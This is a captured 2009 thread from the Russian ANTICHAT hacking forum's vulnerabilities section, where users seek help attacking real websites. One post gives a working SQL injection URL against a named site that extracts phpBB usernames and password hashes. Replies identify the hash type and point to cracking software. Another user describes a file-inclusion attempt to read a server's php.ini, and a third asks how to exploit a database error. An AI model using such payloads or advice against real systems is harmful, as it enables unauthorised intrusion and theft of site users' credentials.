HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6401  
Старый 04.04.2009, 19:42
dllerk
Новичок
Регистрация: 01.04.2009
Сообщений: 21
Провел на форуме:
56068

Репутация: 0
По умолчанию

кароче нашел уязвимосьть на сайте такого содержания
Attempt to insert NULL value into column 'url_id', table 'Info_new.dbo.usrefww'; column does not allow nulls. Update fails.
ссылка примерно такая: index.php?url=199000&ref=1
Как её использовать ?
 
Ответить с цитированием

  #6402  
Старый 04.04.2009, 19:44
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638

Репутация: 256
Отправить сообщение для DrAssault с помощью ICQ
По умолчанию

Цитата:
Сообщение от dllerk  
кароче нашел уязвимосьть на сайте такого содержания
Attempt to insert NULL value into column 'url_id', table 'Info_new.dbo.usrefww'; column does not allow nulls. Update fails.
ссылка примерно такая: index.php?url=199000&ref=1
Как её использовать ?
Ну и в чем трабла то?
 
Ответить с цитированием

  #6403  
Старый 04.04.2009, 19:46
dllerk
Новичок
Регистрация: 01.04.2009
Сообщений: 21
Провел на форуме:
56068

Репутация: 0
По умолчанию

в этом вроде должно что то быть .. я незнаю , поэтому и спрашиваю
 
Ответить с цитированием

  #6404  
Старый 04.04.2009, 19:54
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638

Репутация: 256
Отправить сообщение для DrAssault с помощью ICQ
По умолчанию

Цитата:
Сообщение от dllerk  
в этом вроде должно что то быть .. я незнаю , поэтому и спрашиваю
Дай полностью параметр подумаем...
 
Ответить с цитированием

  #6405  
Старый 04.04.2009, 20:05
Saiga
Познающий
Регистрация: 22.07.2008
Сообщений: 49
Провел на форуме:
170912

Репутация: -4
По умолчанию

Закодирован пароль , чем можно раскодировать ? Попробовал черес hashcracking.info , ничего не получилос .

ht_tp://www.so-znanie.com/index.php?id=-8+union+select+1,2,concat_ws(0x3a3a,username,user_ password+)+from+phpbb_users+LIMIT+1,1+--
 
Ответить с цитированием

  #6406  
Старый 04.04.2009, 20:13
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
По умолчанию

Цитата:
Сообщение от Saiga  
Закодирован пароль , чем можно раскодировать ? Попробовал черес hashcracking.info , ничего не получилос .

ht_tp://www.so-znanie.com/index.php?id=-8+union+select+1,2,concat_ws(0x3a3a,username,user_ password+)+from+phpbb_users+LIMIT+1,1+--
это MD5(phpBB3)
 
Ответить с цитированием

  #6407  
Старый 04.04.2009, 20:24
FarIZ
Новичок
Регистрация: 16.03.2009
Сообщений: 24
Провел на форуме:
62919

Репутация: 2
По умолчанию

я вот вроде нашел где php.ini
но когда его инклудом подключить хочу то получаю это

Parse error: syntax error, unexpected ',' in /usr/local/lib/php.ini on line 70

не подскажете с чем связано ?
 
Ответить с цитированием

  #6408  
Старый 04.04.2009, 20:27
Saiga
Познающий
Регистрация: 22.07.2008
Сообщений: 49
Провел на форуме:
170912

Репутация: -4
По умолчанию

2 z00MAN

это чем то можно раскодировать ?

Последний раз редактировалось Saiga; 04.04.2009 в 20:33..
 
Ответить с цитированием

  #6409  
Старый 04.04.2009, 20:32
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
По умолчанию

Цитата:
Сообщение от Saiga  
2 z00MAN

это чем то можно редактировать ?
http://www.insidepro.com/rus/passwordspro.shtml
 
Ответить с цитированием

  #6410  
Старый 04.04.2009, 20:49
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию

Цитата:
Сообщение от FarIZ  
я вот вроде нашел где php.ini
но когда его инклудом подключить хочу то получаю это

Parse error: syntax error, unexpected ',' in /usr/local/lib/php.ini on line 70

не подскажете с чем связано ?
Лишняя запятая.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ